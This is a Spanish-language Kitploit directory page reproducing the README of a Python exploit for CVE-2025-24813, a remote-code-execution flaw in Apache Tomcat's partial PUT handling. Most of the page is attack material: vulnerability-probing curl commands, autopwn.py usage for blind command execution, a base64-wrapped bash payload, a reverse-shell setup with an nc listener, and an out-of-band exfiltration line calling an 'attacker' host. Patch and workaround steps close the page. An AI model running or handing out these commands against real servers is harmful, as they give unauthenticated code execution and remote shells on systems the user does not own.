Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-24813 — PoC en Python que explota CVE-2025-24813, un RCE por deserialización en el PUT parcial de Apache Tomcat. Detecta automáticamente las variantes vulnerables, admite ejecución ciega de comandos y reverse shells. | Kitploit
Herramientas/GitHubGitHub/e5dfdd568a75282b712b6d93a7a18e12/cve-2025-24813
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónRed TeamingHerramienta de Acceso Remoto
GitHub
e5dfdd568a75282b712b6d93a7a18e12/cve-2025-24813

CVE-2025-24813

PoC en Python que explota CVE-2025-24813, un RCE por deserialización en el PUT parcial de Apache Tomcat. Detecta automáticamente las variantes vulnerables, admite ejecución ciega de comandos y reverse shells.

Ver Repositorio
hace 16h 59mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-24813 — RCE por deserialización en Partial PUT de Apache Tomcat

Severidad: Crítica (CVSS 9.8) Autenticación requerida: Ninguna Afecta a: Apache Tomcat 9.0.0.M1 – 9.0.98 / 10.1.0-M1 – 10.1.34 / 11.0.0-M1 – 11.0.2 Parcheado en: Tomcat 9.0.99 / 10.1.35 / 11.0.3


Cómo funciona

Apache Tomcat admite partial PUT (carga por fragmentos mediante Content-Range). Cuando llega un partial PUT, Tomcat almacena el cuerpo en un archivo temporal bajo:

root@kitploit:~
$CATALINA_HOME/work/…/<url-path-filename>

Si la aplicación está configurada con PersistentManager + FileStore en context.xml, Tomcat lee automáticamente los archivos *.session del mismo directorio de trabajo y los para restaurar las sesiones.

deserializa

Combinando estos dos comportamientos:

root@kitploit:~
PUT /<sid>.session        →  escribe el payload serializado en Java en work/<sid>.session
GET /  Cookie: JSESSIONID=.<sid>   →  Tomcat carga y deserializa el archivo  →  RCE

El punto inicial (.) en el valor de la cookie provoca la búsqueda de sesión por ruta absoluta (variante B), que es la ruta que alcanza de forma fiable el archivo almacenado.


Cadena de gadgets

Este PoC utiliza CommonsCollections6 de ysoserial, que funciona en Java 8–17 sin flags @jdk.internal y no depende de sun.reflect.SerializationConstructorAccessorImpl.

root@kitploit:~
ObjectInputStream.readObject()
  └─ HashSet.readObject()
       └─ TiedMapEntry.hashCode()
            └─ LazyMap.get()
                 └─ ChainedTransformer.transform()
                      └─ InvokerTransformer → Runtime.exec(command)

Identificación (¿Es vulnerable el objetivo?)

Paso 1 — Confirmar Tomcat y la versión

root@kitploit:~
curl -sI http://target:9090/ | grep -i server
# Look for: Apache-Coyote/1.1  or  Apache Tomcat

Paso 2 — Comprobar que partial PUT está habilitado

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# 201 Created = partial PUT enabled  (vulnerable prerequisite met)
# 403/405     = partial PUT disabled (not vulnerable via this path)

Paso 3 — Ejecutar el PoC (detección automática)

root@kitploit:~
python3 autopwn.py http://target:9090 --command "id"
# Vulnerable  → one line shows GET=500 + "<<<< 500 = FIRED!"
# Not vuln    → all lines show GET=200, no 500

Explicación de la salida del exploit

root@kitploit:~
[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=pwn1   [A(no-dot)]     GET=200
[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=.pwn2  [B(dot-prefix)] GET=500  <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session        PUT=409 cookie=JSESSIONID=pwn3   [A(no-dot)]     GET=200
...
[+] Target is VULNERABLE!  Winning variant: B(dot-prefix)
    upload path : /{sid}.session
    trigger     : Cookie: JSESSIONID=.pwn2
EstadoSignificado
PUT 201Archivo almacenado en el directorio de trabajo de Tomcat
PUT 409Ruta bloqueada (traversal rechazado)
GET 200Sesión no encontrada / no deserializada
GET 500Deserialización activada → RCE

Payload codificado vs. en bruto — Por qué importa

La carga es un flujo serializado en Java binario en bruto — sin codificación URL. A diferencia de los exploits por parámetros de consulta HTTP, el payload va en el cuerpo de la petición mediante PUT, por lo que no hay una capa de codificación URL con la que lidiar:

root@kitploit:~
PUT /{sid}.session HTTP/1.1
Content-Type: application/octet-stream
Content-Range: bytes 0-1274/1375

\xac\xed\x00\x05\x73\x72...  (raw serialized bytes — CommonsCollections6)

La cabecera Content-Range indica una carga parcial; Tomcat escribe el cuerpo en disco tal cual, preservando cada byte del payload serializado.


Uso

Requisitos

root@kitploit:~
pip install requests
# Java runtime in PATH
# ysoserial.jar in current directory (or pass --ysoserial <path>)

Comando ciego (la salida va solo al servidor)

root@kitploit:~
python3 autopwn.py http://192.168.61.148:9090 --command "id"

Leer la salida mediante un archivo en el webroot

root@kitploit:~
# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)

python3 autopwn.py http://192.168.61.148:9090 \
    --command "bash -c {echo,$B64}|{base64,-d}|bash"

# Fetch the result
curl http://192.168.61.148:9090/idout.txt

Reverse shell

root@kitploit:~
# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
    --revshell --lhost 192.168.61.10 --lport 4444

El script detecta automáticamente la variante A/B, se detiene tras el primer acierto e imprime la ruta ganadora para que sepas exactamente qué funcionó.

Todas las opciones

root@kitploit:~
positional arguments:
  target                Target base URL (e.g. http://192.168.61.148:9090)

options:
  --command CMD         Command to execute (blind mode, default: id)
  --revshell            Send reverse shell instead of blind command
  --lhost LHOST         Listener IP  (required with --revshell)
  --lport LPORT         Listener port (required with --revshell)
  --gadget GADGET       ysoserial gadget chain (default: CommonsCollections6)
  --ysoserial PATH      Path to ysoserial jar (default: ysoserial.jar)
  --sid SID             Session ID prefix for upload filenames (default: pwn)
  --no-ssl-verify       Disable SSL certificate verification

¿Por qué RCE ciego? Cómo obtener la salida

CVE-2025-24813 es ciego — Runtime.exec() ejecuta el comando, pero su stdout/stderr se descartan; la respuesta HTTP solo refleja si la deserialización tuvo éxito (500) o no (200).

Tres formas de obtener la salida:

MétodoCómo
Archivo en el webrootRedirigir la salida a un archivo en /…/webapps/ROOT/, obtenerlo por HTTP
Reverse shellFlag --revshell — obtener una shell interactiva, ejecutar cualquier comando en vivo
DNS/OOB`curl http://attacker/$(id

Corrección / Mitigación

Parche (Recomendado)

RamaVulnerableParcheado
9.x9.0.0.M1 – 9.0.989.0.99+
10.1.x10.1.0-M1 – 10.1.3410.1.35+
11.x11.0.0-M1 – 11.0.211.0.3+
root@kitploit:~
# Check installed version
$CATALINA_HOME/bin/catalina.sh version | grep "Server version"

Workaround — Deshabilitar partial PUT

En $CATALINA_HOME/conf/web.xml, busca el init-param de DefaultServlet y establece:

root@kitploit:~
<init-param>
    <param-name>readonly</param-name>
    <param-value>true</param-value>
</init-param>

O deshabilita PersistentManager en context.xml si no es necesario:

root@kitploit:~
<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!--   <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->

Verificación tras el parcheo

root@kitploit:~
# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# Patched   → 403 / 405
# Vulnerable → 201

# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched   → all GET=200, no 500

Referencias

  • NVD — CVE-2025-24813
  • Apache Tomcat Security Advisory (9.x)
  • ysoserial

Solo para pruebas de seguridad autorizadas y fines educativos.

Descargar herramienta